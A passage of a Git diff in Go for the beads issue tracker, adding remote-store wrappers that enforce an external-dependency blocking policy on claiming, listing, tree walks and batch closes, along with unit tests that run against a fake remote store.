storageissueops.ValidateClaimNextRequest(req); err != nil { + return issueops.ClaimNextResult{}, err + } + filter, err := workapi.BuildReadyFilter(req.Filter) + if err != nil { + return issueops.ClaimNextResult{}, err + } + state, err := c.policy.loadBlockingState(ctx) + if err != nil { + return issueops.ClaimNextResult{}, err + } + if len(state.refsByIssue) == 0 { + served, err := c.policy.inner.ReadyClaimer() + if err != nil { + return issueops.ClaimNextResult{}, err + } + return served.ClaimNext(ctx, req) + } + claimer, err := c.policy.inner.IssueClaimer() + if err != nil { + return issueops.ClaimNextResult{}, err + } + // The candidates a local claim-next selects (ClaimReadyIssueInTx): open, + // unassigned, with no row cap on a scan that delivers one row. + filter.Status = types.StatusOpen + filter.Unassigned = true + filter.Assignee = nil + filter.MaxRows = 0 + filter.MaxRowsSource = "" + filter.Limit = remoteClaimPage + // A second pass only after a full page was lost: claimed rows leave the + // unassigned set, so it reads the candidates behind them. + var lost int + for range 2 { + rows, err := c.policy.readyWorkWithCounts(ctx, filter, state) + if err != nil { + return issueops.ClaimNextResult{}, err + } + if len(rows) == 0 { + return issueops.ClaimNextResult{}, nil + } + for _, row := range rows { + if row == nil || row.Issue == nil { + continue + } + res, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: req.Actor, IssueID: row.ID}) + switch { + case err == nil: + return issueops.ClaimNextResult{Claimed: &types.IssueWithCounts{ + Issue: res.Issue, + DependencyCount: row.DependencyCount, + DependentCount: row.DependentCount, + CommentCount: row.CommentCount, + Parent: row.Parent, + }}, nil + case isLostClaimRace(err): + lost++ + default: + return issueops.ClaimNextResult{}, err + } + } + if len(rows) < remoteClaimPage { + break + } + } + return issueops.ClaimNextResult{}, fmt.Errorf("claim ready: lost %d races for externally unblocked ready work; re-run to take the next one", lost) +} + +// remoteBlockingAnnotator merges the external blockers the policy resolves +// into the served annotation's BlockedBy. +type remoteBlockingAnnotator struct { + served issueops.BlockingAnnotator + policy *Store +} + +func (a *remoteBlockingAnnotator) AnnotateBlocking(ctx context.Context, req issueops.BlockingRequest) (issueops.BlockingResult, error) { + result, err := a.served.AnnotateBlocking(ctx, req) + if err != nil || len(result.Items) == 0 { + return result, err + } + ids := make([]string, 0, len(result.Items)) + for _, item := range result.Items { + ids = append(ids, item.ID) + } + state, err := a.policy.blockingStateFor(ctx, ids) + if err != nil { + return issueops.BlockingResult{}, err + } + for i := range result.Items { + for _, ref := range state.refsByIssue[result.Items[i].ID] { + result.Items[i].BlockedBy = appendUnique(result.Items[i].BlockedBy, ref) + } + } + return result, nil +} + +// remoteTreeWalker adds external leaves to the served down-tree. A leaf the +// server already rendered is kept as it came (appendTreeExternalReferences +// skips an id the tree holds), and like GetDependencyTree the leaves are +// rendered whether or not the server enforces the policy: a leaf is display, +// not enforcement. +type remoteTreeWalker struct { + served issueops.TreeWalker + policy *Store +} + +func (t *remoteTreeWalker) WalkTree(ctx context.Context, req issueops.WalkTreeRequest) (issueops.TreeResult, error) { + result, err := t.served.WalkTree(ctx, req) + if err != nil || !plainDownTree(req) || len(result.Nodes) == 0 { + return result, err + } + ids := make([]string, 0, len(result.Nodes)) + for _, node := range result.Nodes { + if node != nil && !isExternalReference(node.ID) { + ids = append(ids, node.ID) + } + } + deps, err := t.policy.servedEdges(ctx, ids) + if err != nil { + return issueops.TreeResult{}, fmt.Errorf("external dependencies: load tree edges: %w", err) + } + nodes, err := t.policy.appendTreeExternalReferences(ctx, result.Nodes, deps, req.MaxDepth, false) + if err != nil { + return issueops.TreeResult{}, err + } + result.Nodes = nodes + return result, nil +} + +// remoteBatchCloser refuses each externally blocked, still-open item the way +// the local policy close does, then sends the rest to the served closer as one +// request, so they still close in one server transaction. The external answer +// is read before that request rather than inside it, the same window +// remoteReadyClaimer has. +// +// A batch that also claims the next issue is refused whole, before anything +// closes. The local closer claims inside the closing transaction with the +// policy's exclusions in its filter. A served close has no parameter to carry +// them, and claiming after the close commits would split the role's one +// transaction in two. The refusal does not read the workspace, so the command +// fails the same way whether or not anything in it is externally blocked. +type remoteBatchCloser struct{ policy *Store } + +func (c *remoteBatchCloser) CloseBatch(ctx context.Context, request issueops.CloseBatchRequest) (issueops.CloseBatchResult, error) { + if request.ClaimNext != nil { + return c.closeAndClaimNext(ctx, request) + } + if request.Force { + // Force waives the policy, so the base closer reaches the served one + // with an empty policy. + return (&batchCloser{policy: c.policy}).CloseBatch(ctx, request) + } + if err := storageissueops.ValidateCloseBatchRequest(request); err != nil { + return issueops.CloseBatchResult{}, err + } + ids := make([]string, 0, len(request.Items)) + for _, item := range request.Items { + ids = append(ids, item.IssueID) + } + state, err := c.policy.blockingStateFor(ctx, ids) + if err != nil { + return issueops.CloseBatchResult{}, err + } + served, err := c.policy.inner.BatchCloser() + if err != nil { + return issueops.CloseBatchResult{}, err + } + if len(state.refsByIssue) == 0 { + return served.CloseBatch(ctx, request) + } + + policy := storage.NewBatchClosePolicy(state.refsByIssue) + outcomes := make([]issueops.CloseOutcome, len(request.Items)) + forward := request + forward.Items = make([]issueops.BatchCloseItem, 0, len(request.Items)) + forwarded := make([]int, 0, len(request.Items)) + for i, item := range request.Items { + if refusal := policy.CheckClose(item.IssueID, false); refusal != nil { + // As in the local close: only a live target is refused, so an + // idempotent re-close and a not-found keep their own answers. + issue, err := c.policy.inner.GetIssue(ctx, item.IssueID) + if err != nil { + outcomes[i] = issueops.CloseOutcome{IssueID: item.IssueID, Err: err} + continue + } + if issue != nil && issue.Status != types.StatusClosed { + outcomes[i] = issueops.CloseOutcome{IssueID: item.IssueID, Err: refusal} + continue + } + } + forward.Items = append(forward.Items, item) + forwarded = append(forwarded, i) + } + if len(forward.Items) == 0 { + return issueops.CloseBatchResult{Outcomes: outcomes}, nil + } + result, err := served.CloseBatch(ctx, forward) + if err != nil { + return issueops.CloseBatchResult{}, err + } + if len(result.Outcomes) != len(forward.Items) { + return issueops.CloseBatchResult{}, fmt.Errorf("close batch: served closer answered %d outcomes for %d items", len(result.Outcomes), len(forward.Items)) + } + for j, outcome := range result.Outcomes { + outcomes[forwarded[j]] = outcome + } + return issueops.CloseBatchResult{Outcomes: outcomes}, nil +} + +// closeAndClaimNext answers a batch with a next claim. A request that is +// invalid on every backend is still ErrValidation. A server that enforces the +// policy itself gets the request as it came; over the v0 wire its closer +// refuses a next claim too (ledger row W-CloseBatchRequest.ClaimNext). +func (c *remoteBatchCloser) closeAndClaimNext(ctx context.Context, request issueops.CloseBatchRequest) (issueops.CloseBatchResult, error) { + if err := storageissueops.ValidateCloseBatchRequest(request); err != nil { + return issueops.CloseBatchResult{}, err + } + if _, err := workapi.BuildReadyFilter(*request.ClaimNext); err != nil { + return issueops.CloseBatchResult{}, err + } + enforced, err := c.policy.serverEnforcesPolicy(ctx) + if err != nil { + return issueops.CloseBatchResult{}, err + } + if !enforced { + return issueops.CloseBatchResult{}, fmt.Errorf( + "close with a next claim: the served batch close cannot carry a next claim, so nothing was closed; close without --claim-next, then run `bd ready --claim` (%w)", + &storage.ErrUnsupported{Op: "CloseBatchRequest.ClaimNext", Backend: fmt.Sprintf("%T", storage.UnwrapStore(c.policy.inner))}) + } + served, err := c.policy.inner.BatchCloser() + if err != nil { + return issueops.CloseBatchResult{}, err + } + return served.CloseBatch(ctx, request) +} + +var ( + _ issueops.Reader = (*remoteReader)(nil) + _ issueops.Claimer = (*remoteClaimer)(nil) + _ issueops.ReadyClaimer = (*remoteReadyClaimer)(nil) + _ issueops.BlockingAnnotator = (*remoteBlockingAnnotator)(nil) + _ issueops.TreeWalker = (*remoteTreeWalker)(nil) + _ issueops.BatchCloser = (*remoteBatchCloser)(nil) +) diff --git a/internal/storage/externaldeps/remote_roles_test.go b/internal/storage/externaldeps/remote_roles_test.go new file mode 100644 index 000000000..793d9bb58 --- /dev/null +++ b/internal/storage/externaldeps/remote_roles_test.go @@ -0,0 +1,636 @@ +package externaldeps + +import ( + "context" + "errors" + "fmt" + "slices" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// remoteStore models httpclient.Store for remote_roles.go. Each role it hands +// out is served over the embedded fakeStore's rows, the way a server that +// knows nothing of the policy answers it, and each legacy method a base +// accessor builds on is refused, so a composition that reaches one fails the +// test instead of passing on a fake that answers it. Like httpclient.Store it +// cannot express ExcludeIDs and has no BatchCloserWithPolicy. +type remoteStore struct { + *fakeStore + // served logs each served role call, in order. + served []string + // closes logs the item ids of each served batch close. + closes [][]string + // edgeReads logs how many anchors each served edge read named. + edgeReads []int + // scans counts the whole-workspace dependency scans read through it. + scans int + // localBlockers is the served annotation's own BlockedBy, per id. + localBlockers map[string][]string + // claimErr, when set, answers every served Claim. + claimErr error +} + +var errLegacyRefused = errors.New("remoteStore: legacy method refused") + +// wireEdgeAnchorCap is the most anchors the wire's listDependencies accepts. +const wireEdgeAnchorCap = 100 + +func newRemoteStore(ready ...*types.Issue) *remoteStore { + return &remoteStore{fakeStore: &fakeStore{ + ready: ready, + deps: make(map[string][]*types.Dependency), + excludeIDsUnsupported: true, + }} +} + +func (r *remoteStore) IsRemoteBackendStore() bool { return true } + +// httpclient.Store serves the vocabulary a listing loads before its search. +func (r *remoteStore) GetCustomStatusesDetailed(context.Context) ([]types.CustomStatus, error) { + return nil, nil +} +func (r *remoteStore) GetCustomTypes(context.Context) ([]string, error) { return nil, nil } +func (r *remoteStore) GetInfraTypes(context.Context) map[string]bool { return nil } + +func (r *remoteStore) SearchIssuesWithCounts(context.Context, string, types.IssueFilter) ([]*types.IssueWithCounts, error) { + return nil, errLegacyRefused +} + +func (r *remoteStore) IsBlocked(context.Context, string) (bool, []string, error) { + return false, nil, errLegacyRefused +} + +func (r *remoteStore) GetDependencyRecordsForIssues(context.Context, []string) (map[string][]*types.Dependency, error) { + return nil, errLegacyRefused +} + +func (r *remoteStore) GetDependencyTree(context.Context, string, int, bool, bool) ([]*types.TreeNode, error) { + return nil, errLegacyRefused +} + +func (r *remoteStore) ClaimReadyIssue(context.Context, types.WorkFilter, string) (*types.Issue, error) { + return nil, errLegacyRefused +} + +func (r *remoteStore) GetAllDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) { + r.scans++ + return r.fakeStore.GetAllDependencyRecords(ctx) +} + +func (r *remoteStore) GetExternalBlockingDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) { + r.scans++ + return r.fakeStore.GetExternalBlockingDependencyRecords(ctx) +} + +func (r *remoteStore) IssueReader() (publicops.Reader, error) { return servedReader{r}, nil } +func (r *remoteStore) IssueClaimer() (publicops.Claimer, error) { return servedClaimer{r}, nil } +func (r *remoteStore) ReadyClaimer() (publicops.ReadyClaimer, error) { + return servedReadyClaimer{r}, nil +} +func (r *remoteStore) TreeWalker() (publicops.TreeWalker, error) { return servedWalker{r}, nil } +func (r *remoteStore) EdgeReader() (publicops.EdgeReader, error) { return servedEdgeReader{r}, nil } +func (r *remoteStore) BatchCloser() (publicops.BatchCloser, error) { return servedCloser{r}, nil } + +func (r *remoteStore) BlockingAnnotator() (publicops.BlockingAnnotator, error) { + return servedAnnotator{r}, nil +} + +type servedReader struct{ s *remoteStore } + +func (r servedReader) Ready(context.Context, publicops.ReadyRequest) (publicops.IssuePage, error) { + return publicops.IssuePage{}, errors.New("served Ready: ready work is the policy reader's to answer") +} + +func (r servedReader) List(context.Context, publicops.ListRequest) (publicops.IssuePage, error) { + r.s.served = append(r.s.served, "List") + items := make([]*types.IssueWithCounts, 0, len(r.s.ready)) + for _, issue := range r.s.ready { + items = append(items, &types.IssueWithCounts{Issue: issue}) + } + return publicops.IssuePage{Items: items}, nil +} + +func (r servedReader) Get(ctx context.Context, req publicops.GetRequest) (*publicops.IssueDetails, error) { + r.s.served = append(r.s.served, "Get "+req.ID) + issue, err := r.s.GetIssue(ctx, req.ID) + if err != nil { + return nil, err + } + if issue == nil { + return nil, publicops.ErrNotFound + } + return &publicops.IssueDetails{Issue: *issue}, nil +} + +type servedClaimer struct{ s *remoteStore } + +func (c servedClaimer) Claim(ctx context.Context, req publicops.ClaimRequest) (publicops.ClaimResult, error) { + c.s.served = append(c.s.served, "Claim "+req.IssueID) + if c.s.claimErr != nil { + return publicops.ClaimResult{}, c.s.claimErr + } + if err := c.s.ClaimIssue(ctx, req.IssueID, req.Actor); err != nil { + return publicops.ClaimResult{}, err + } + issue, err := c.s.GetIssue(ctx, req.IssueID) + return publicops.ClaimResult{Issue: issue, Changed: true}, err +} + +// servedReadyClaimer claims the first unassigned ready row, blind to the +// policy as a claim-next with no exclusion parameter is. +type servedReadyClaimer struct{ s *remoteStore } + +func (c servedReadyClaimer) ClaimNext(ctx context.Context, req publicops.ClaimNextRequest) (publicops.ClaimNextResult, error) { + c.s.served = append(c.s.served, "ClaimNext") + for _, issue := range c.s.ready { + if issue.Assignee != "" { + continue + } + if err := c.s.ClaimIssue(ctx, issue.ID, req.Actor); err != nil { + return publicops.ClaimNextResult{}, err + } + return publicops.ClaimNextResult{Claimed: &types.IssueWithCounts{Issue: issue}}, nil + } + return publicops.ClaimNextResult{}, nil +} + +type servedAnnotator struct{ s *remoteStore } + +func (a servedAnnotator) AnnotateBlocking(_ context.Context, req publicops.BlockingRequest) (publicops.BlockingResult, error) { + a.s.served = append(a.s.served, "AnnotateBlocking") + items := make([]publicops.IssueBlocking, 0, len(req.IDs)) + for _, id := range req.IDs { + items = append(items, publicops.IssueBlocking{ID: id, BlockedBy: slices.Clone(a.s.localBlockers[id])}) + } + return publicops.BlockingResult{Items: items}, nil +} + +type servedWalker struct{ s *remoteStore } + +func (w servedWalker) WalkTree(context.Context, publicops.WalkTreeRequest) (publicops.TreeResult, error) { + w.s.served = append(w.s.served, "WalkTree") + return publicops.TreeResult{Nodes: slices.Clone(w.s.tree)}, nil +} + +type servedEdgeReader struct{ s *remoteStore } + +func (e servedEdgeReader) ReadEdges(_ context.Context, req publicops.EdgeReadRequest) (publicops.EdgeReadResult, error) { + if len(req.IDs) > wireEdgeAnchorCap { + return publicops.EdgeReadResult{}, fmt.Errorf("served ReadEdges: %d anchors, past the wire's %d", len(req.IDs), wireEdgeAnchorCap) + } + e.s.edgeReads = append(e.s.edgeReads, len(req.IDs)) + anchors := make([]publicops.AnchorEdges, 0, len(req.IDs)) + for _, id := range req.IDs { + anchors = append(anchors, publicops.AnchorEdges{ID: id, Edges: e.s.deps[id]}) + } + return publicops.EdgeReadResult{Anchors: anchors}, nil +} + +type servedCloser struct{ s *remoteStore } + +// errServedClaimNextRefused is the served closer's answer to a next claim. +// httpclient refuses one on every server: the v0 wire's batch close has no +// member to carry it (ledger row W-CloseBatchRequest.ClaimNext). +var errServedClaimNextRefused = &storage.ErrUnsupported{Op: "BatchCloser.CloseBatch", Backend: "http"} + +func (c servedCloser) CloseBatch(ctx context.Context, req publicops.CloseBatchRequest) (publicops.CloseBatchResult, error) { + if req.ClaimNext != nil { + c.s.served = append(c.s.served, "CloseBatch ClaimNext") + return publicops.CloseBatchResult{}, errServedClaimNextRefused + } + ids := make([]string, 0, len(req.Items)) + outcomes := make([]publicops.CloseOutcome, 0, len(req.Items)) + for _, item := range req.Items { + ids = append(ids, item.IssueID) + result, err := c.s.CloseIssueChecked(ctx, item.IssueID, req.Actor, storage.CloseIssueOptions{}) + outcomes = append(outcomes, publicops.CloseOutcome{IssueID: item.IssueID, Changed: err == nil && !result.Unchanged, Err: err}) + } + c.s.closes = append(c.s.closes, ids) + return publicops.CloseBatchResult{Outcomes: outcomes}, nil +} + +const paymentsRef = "external:remote:payments" + +func blockOnPayments(raw *remoteStore, ids ...string) { + for _, id := range ids { + raw.deps[id] = []*types.Dependency{externalDep(id, paymentsRef, types.DepBlocks)} + } +} + +func closeItems(ids ...string) []publicops.BatchCloseItem { + items := make([]publicops.BatchCloseItem, 0, len(ids)) + for _, id := range ids { + items = append(items, publicops.BatchCloseItem{IssueID: id}) + } + return items +} + +// TestRemoteRolesAnswerWithoutTheLegacyMethods pins the blocker the base +// accessors had over httpclient.Store: built over legacy methods a remote +// store refuses, they failed bd list, bd show, bd dep tree, bd ready --claim +// and bd close in a workspace where nothing had an external dependency. +func TestRemoteRolesAnswerWithoutTheLegacyMethods(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := newRemoteStore(a, b) + raw.tree = []*types.TreeNode{{Issue: *a}} + store := testStore(raw, &fakeStore{}, true) + ctx := t.Context() + + reader, err := store.IssueReader() + if err != nil { + t.Fatalf("IssueReader: %v", err) + } + if page, err := reader.List(ctx, publicops.ListRequest{}); err != nil || len(page.Items) != 2 { + t.Fatalf("List = %d items, %v; want 2", len(page.Items), err) + } + if details, err := reader.Get(ctx, publicops.GetRequest{ID: a.ID}); err != nil || details.ID != a.ID { + t.Fatalf("Get = %v, %v; want %s", details, err, a.ID) + } + if page, err := reader.Ready(ctx, publicops.ReadyRequest{}); err != nil || len(page.Items) != 2 { + t.Fatalf("Ready = %d items, %v; want 2", len(page.Items), err) + } + + claimer, err := store.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer: %v", err) + } + if _, err := claimer.Claim(ctx, publicops.ClaimRequest{Actor: "worker", IssueID: a.ID}); err != nil { + t.Fatalf("Claim: %v", err) + } + readyClaimer, err := store.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer: %v", err) + } + if next, err := readyClaimer.ClaimNext(ctx, publicops.ClaimNextRequest{Actor: "worker"}); err != nil || next.Claimed == nil || next.Claimed.ID != b.ID { + t.Fatalf("ClaimNext = %+v, %v; want %s", next.Claimed, err, b.ID) + } + + annotator, err := store.BlockingAnnotator() + if err != nil { + t.Fatalf("BlockingAnnotator: %v", err) + } + if result, err := annotator.AnnotateBlocking(ctx, publicops.BlockingRequest{IDs: []string{a.ID, b.ID}}); err != nil || len(result.Items) != 2 { + t.Fatalf("AnnotateBlocking = %+v, %v; want 2 items", result.Items, err) + } + walker, err := store.TreeWalker() + if err != nil { + t.Fatalf("TreeWalker: %v", err) + } + if tree, err := walker.WalkTree(ctx, publicops.WalkTreeRequest{RootID: a.ID, MaxDepth: 50}); err != nil || len(tree.Nodes) != 1 { + t.Fatalf("WalkTree = %d nodes, %v; want the served root alone", len(tree.Nodes), err) + } + + closer, err := store.BatchCloser() + if err != nil { + t.Fatalf("BatchCloser: %v", err) + } + result, err := closer.CloseBatch(ctx, publicops.CloseBatchRequest{Actor: "worker", Items: closeItems(a.ID, b.ID)}) + if err != nil || len(result.Outcomes) != 2 { + t.Fatalf("CloseBatch = %+v, %v; want 2 outcomes", result.Outcomes, err) + } + + if want := []string{"List", "Get be-a", "Claim be-a", "ClaimNext", "AnnotateBlocking", "WalkTree"}; !slices.Equal(raw.served, want) { + t.Fatalf("served calls = %v, want %v", raw.served, want) + } + if want := [][]string{{a.ID, b.ID}}; !slices.EqualFunc(raw.closes, want, slices.Equal[[]string]) { + t.Fatalf("served closes = %v, want %v", raw.closes, want) + } +} + +// TestRemoteReaderPolicesReadyWorkOnly: an externally blocked issue leaves the +// ready listing and stays in a plain one, which claims nothing about +// readiness. +func TestRemoteReaderPolicesReadyWorkOnly(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := newRemoteStore(a, b) + blockOnPayments(raw, a.ID) + reader, err := testStore(raw, &fakeStore{}, true).IssueReader() + if err != nil { + t.Fatalf("IssueReader: %v", err) + } + + ready, err := reader.Ready(t.Context(), publicops.ReadyRequest{}) + if err != nil { + t.Fatalf("Ready: %v", err) + } + if len(ready.Items) != 1 || ready.Items[0].ID != b.ID { + t.Fatalf("Ready = %d items, want %s alone (%s is externally blocked)", len(ready.Items), b.ID, a.ID) + } + listed, err := reader.List(t.Context(), publicops.ListRequest{}) + if err != nil { + t.Fatalf("List: %v", err) + } + if len(listed.Items) != 2 { + t.Fatalf("List = %d items, want both", len(listed.Items)) + } +} + +func TestRemoteClaimerRefusesExternallyBlockedWork(t *testing.T) { + for _, enforced := range []bool{false, true} { + t.Run(fmt.Sprintf("server enforces %v", enforced), func(t *testing.T) { + a := issue("be-a") + raw := newRemoteStore(a) + raw.enforced = enforced + blockOnPayments(raw, a.ID) + claimer, err := testStore(raw, &fakeStore{}, true).IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer: %v", err) + } + + _, err = claimer.Claim(t.Context(), publicops.ClaimRequest{Actor: "worker", IssueID: a.ID}) + if enforced { + // The server already applied the policy, so the claim is its + // to answer. + if err != nil || !slices.Equal(raw.served, []string{"Claim be-a"}) { + t.Fatalf("Claim = %v, served %v; want the served claim", err, raw.served) + } + return + } + if !errors.Is(err, storage.ErrCloseBlocked) || !strings.Contains(err.Error(), paymentsRef) { + t.Fatalf("Claim = %v, want ErrCloseBlocked naming %s", err, paymentsRef) + } + if len(raw.served) != 0 { + t.Fatalf("served calls = %v, want none for a refused claim", raw.served) + } + }) + } +} + +// TestRemoteReadyClaimerSkipsExternallyBlockedWork: the served claim-next +// cannot be told what to skip, so with anything externally blocked the claim +// walks the policy's ready page through the served Claimer instead. be-a sorts +// first, where the served claim-next would take it. +func TestRemoteReadyClaimerSkipsExternallyBlockedWork(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := newRemoteStore(a, b) + blockOnPayments(raw, a.ID) + claimer, err := testStore(raw, &fakeStore{}, true).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer: %v", err) + } + + next, err := claimer.ClaimNext(t.Context(), publicops.ClaimNextRequest{Actor: "worker"}) + if err != nil { + t.Fatalf("ClaimNext: %v", err) + } + if next.Claimed == nil || next.Claimed.ID != b.ID || b.Assignee != "worker" { + t.Fatalf("ClaimNext claimed %+v, want %s for worker", next.Claimed, b.ID) + } + if want := []string{"Claim be-b"}; !slices.Equal(raw.served, want) { + t.Fatalf("served calls = %v, want %v", raw.served, want) + } +} + +// TestRemoteReadyClaimerReportsLostRaces: a front that had work but lost every +// candidate is an error, not the empty answer that means there is no work. +func TestRemoteReadyClaimerReportsLostRaces(t *testing.T) { + a, b := issue("be-a"), issue("be-b") + raw := newRemoteStore(a, b) + blockOnPayments(raw, a.ID) + raw.claimErr = storage.ErrAlreadyClaimed + claimer, err := testStore(raw, &fakeStore{}, true).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer: %v", err) + } + + next, err := claimer.ClaimNext(t.Context(), publicops.ClaimNextRequest{Actor: "worker"}) + if err == nil || !strings.Contains(err.Error(), "lost 1 races") || next.Claimed != nil { + t.Fatalf("ClaimNext = %+v, %v; want a lost-races error", next.Claimed, err) + } +} + +// TestRemoteBlockingAnnotatorMergesExternalBlockers: the served annotation's +// own blockers stay, the external ones join them, and the edges behind them +// are read in chunks the wire accepts. +func TestRemoteBlockingAnnotatorMergesExternalBlockers(t *testing.T) { + issues := make([]*types.Issue, 0, 150) + ids := make([]string, 0, 150) + for i := range 150 { + issues = append(issues, issue(fmt.Sprintf("be-%03d", i))) + ids = append(ids, issues[i].ID) + } + raw := newRemoteStore(issues...) + blockOnPayments(raw, "be-000", "be-149") + raw.localBlockers = map[string][]string{"be-000": {"be-local"}} + annotator, err := testStore(raw, &fakeStore{}, true).BlockingAnnotator() + if err != nil { + t.Fatalf("BlockingAnnotator: %v", err) + } + + result, err := annotator.AnnotateBlocking(t.Context(), publicops.BlockingRequest{IDs: ids}) + if err != nil { + t.Fatalf("AnnotateBlocking: %v", err) + } + blockedBy := make(map[string][]string, len(result.Items)) + for _, item := range result.Items { + blockedBy[item.ID] = item.BlockedBy + } + if want := []string{"be-local", paymentsRef}; !slices.Equal(blockedBy["be-000"], want) { + t.Errorf("be-000 blocked by %v, want %v", blockedBy["be-000"], want) + } + if want := []string{paymentsRef}; !slices.Equal(blockedBy["be-149"], want) { + t.Errorf("be-149 blocked by %v, want %v", blockedBy["be-149"], want) + } + if len(blockedBy["be-001"]) != 0 { + t.Errorf("be-001 blocked by %v, want nothing", blockedBy["be-001"]) + } + if want := []int{100, 50}; !slices.Equal(raw.edgeReads, want) { + t.Errorf("served edge reads named %v anchors, want %v", raw.edgeReads, want) + } +} + +// TestRemoteTreeWalkerAddsExternalLeaves: the served down-tree gains the leaf +// its stored edges name, a leaf the server rendered is not repeated, and any +// other walk is the served answer as it came. +func TestRemoteTreeWalkerAddsExternalLeaves(t *testing.T) { + root := &types.TreeNode{Issue: *issue("be-a")} + served := &types.TreeNode{Issue: types.Issue{ID: paymentsRef, Title: "served leaf"}, Depth: 1, ParentID: "be-a"} + for _, tc := range []struct { + name string + req publicops.WalkTreeRequest + tree []*types.TreeNode + wantIDs []string + }{ + {name: "down walk", req: publicops.WalkTreeRequest{RootID: "be-a", MaxDepth: 50}, tree: []*types.TreeNode{root}, wantIDs: []string{"be-a", paymentsRef}}, + {name: "server rendered the leaf", req: publicops.WalkTreeRequest{RootID: "be-a", MaxDepth: 50}, tree: []*types.TreeNode{root, served}, wantIDs: []string{"be-a", paymentsRef}}, + {name: "up walk", req: publicops.WalkTreeRequest{RootID: "be-a", MaxDepth: 50, Direction: publicops.TreeUp}, tree: []*types.TreeNode{root}, wantIDs: []string{"be-a"}}, + } { + t.Run(tc.name, func(t *testing.T) { + raw := newRemoteStore() + raw.tree = tc.tree + blockOnPayments(raw, "be-a") + walker, err := testStore(raw, &fakeStore{}, true).TreeWalker() + if err != nil { + t.Fatalf("TreeWalker: %v", err) + } + + result, err := walker.WalkTree(t.Context(), tc.req) + if err != nil { + t.Fatalf("WalkTree: %v", err) + } + ids := make([]string, 0, len(result.Nodes)) + for _, node := range result.Nodes { + ids = append(ids, node.ID) + } + if !slices.Equal(ids, tc.wantIDs) { + t.Fatalf("tree = %v, want %v", ids, tc.wantIDs) + } + if leaf := result.Nodes[len(result.Nodes)-1]; tc.name == "down walk" { + if leaf.Status != types.StatusOpen || leaf.ParentID != "be-a" || leaf.Depth != 1 || leaf.Title != "○ payments" { + t.Fatalf("leaf = %+v, want the open payments leaf under be-a", leaf) + } + } + }) + } +} + +// TestRemoteBatchCloserRefusesExternallyBlockedItems: a still-open externally +// blocked item is refused the way the local policy close refuses it and the +// rest close in one served request. An item already closed keeps the served +// answer, Force waives the policy, and a server that enforces the policy gets +// the whole batch. +func TestRemoteBatchCloserRefusesExternallyBlockedItems(t *testing.T) { + for _, tc := range []struct { + name string + force bool + enforced bool + wantRefused bool + }{ + {name: "policy", wantRefused: true}, + {name: "force", force: true}, + {name: "server enforces", enforced: true}, + } { + t.Run(tc.name, func(t *testing.T) { + blocked, free, done := issue("be-blocked"), issue("be-free"), issue("be-done") + done.Status = types.StatusClosed + raw := newRemoteStore(blocked, free, done) + raw.enforced = tc.enforced + blockOnPayments(raw, blocked.ID, done.ID) + closer, err := testStore(raw, &fakeStore{}, true).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser: %v", err) + } + + request := publicops.CloseBatchRequest{Actor: "worker", Force: tc.force, Items: closeItems(blocked.ID, free.ID, done.ID)} + result, err := closer.CloseBatch(t.Context(), request) + if err != nil { + t.Fatalf("CloseBatch: %v", err) + } + if len(result.Outcomes) != len(request.Items) { + t.Fatalf("CloseBatch answered %d outcomes for %d items", len(result.Outcomes), len(request.Items)) + } + for i, outcome := range result.Outcomes { + if outcome.IssueID != request.Items[i].IssueID { + t.Fatalf("outcome %d is %s's, want %s's", i, outcome.IssueID, request.Items[i].IssueID) + } + } + wantServed := []string{blocked.ID, free.ID, done.ID} + if tc.wantRefused { + refusal := result.Outcomes[0].Err + want := "cannot close blocked issue: be-blocked is blocked by [" + paymentsRef + "]" + if !errors.Is(refusal, storage.ErrCloseBlocked) || refusal.Error() != want { + t.Fatalf("be-blocked outcome = %v, want %q", refusal, want) + } + wantServed = []string{free.ID, done.ID} + } else if result.Outcomes[0].Err != nil { + t.Fatalf("be-blocked outcome = %v, want it closed", result.Outcomes[0].Err) + } + if result.Outcomes[1].Err != nil || result.Outcomes[2].Err != nil { + t.Fatalf("be-free, be-done outcomes = %v, %v; want the served answers", result.Outcomes[1].Err, result.Outcomes[2].Err) + } + if want := [][]string{wantServed}; !slices.EqualFunc(raw.closes, want, slices.Equal[[]string]) { + t.Fatalf("served closes = %v, want %v", raw.closes, want) + } + }) + } +} + +// TestRemoteBatchCloserRefusesANextClaim: the served batch close cannot carry +// a next claim, so a batch with one is refused whole, the same way whether the +// workspace holds an open holder of an external ref, only a closed one, or +// none, and with Force too. The refusal leads with that wire fact, reads +// nothing, closes nothing and names the commands that do the same work. A +// server that enforces the policy itself gets the request as it came, and its +// closer answers. +func TestRemoteBatchCloserRefusesANextClaim(t *testing.T) { + for _, tc := range []struct { + name string + holder types.Status + force bool + enforced bool + wantServed []string + }{ + {name: "open holder", holder: types.StatusOpen}, + {name: "closed holder", holder: types.StatusClosed}, + {name: "no holder"}, + {name: "force", holder: types.StatusOpen, force: true}, + {name: "server enforces", holder: types.StatusOpen, enforced: true, wantServed: []string{"CloseBatch ClaimNext"}}, + } { + t.Run(tc.name, func(t *testing.T) { + free, holder := issue("be-free"), issue("be-holder") + raw := newRemoteStore(free, holder) + raw.enforced = tc.enforced + if tc.holder != "" { + holder.Status = tc.holder + blockOnPayments(raw, holder.ID) + } + closer, err := testStore(raw, &fakeStore{}, true).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser: %v", err) + } + + _, err = closer.CloseBatch(t.Context(), publicops.CloseBatchRequest{ + Actor: "worker", Force: tc.force, Items: closeItems(free.ID), ClaimNext: &publicops.ReadyRequest{}, + }) + if tc.enforced { + if !errors.Is(err, errServedClaimNextRefused) { + t.Fatalf("CloseBatch with ClaimNext = %v, want the served closer's answer", err) + } + } else { + var unsupported *storage.ErrUnsupported + if !errors.As(err, &unsupported) || unsupported.Op != "CloseBatchRequest.ClaimNext" { + t.Fatalf("CloseBatch with ClaimNext = %v, want the 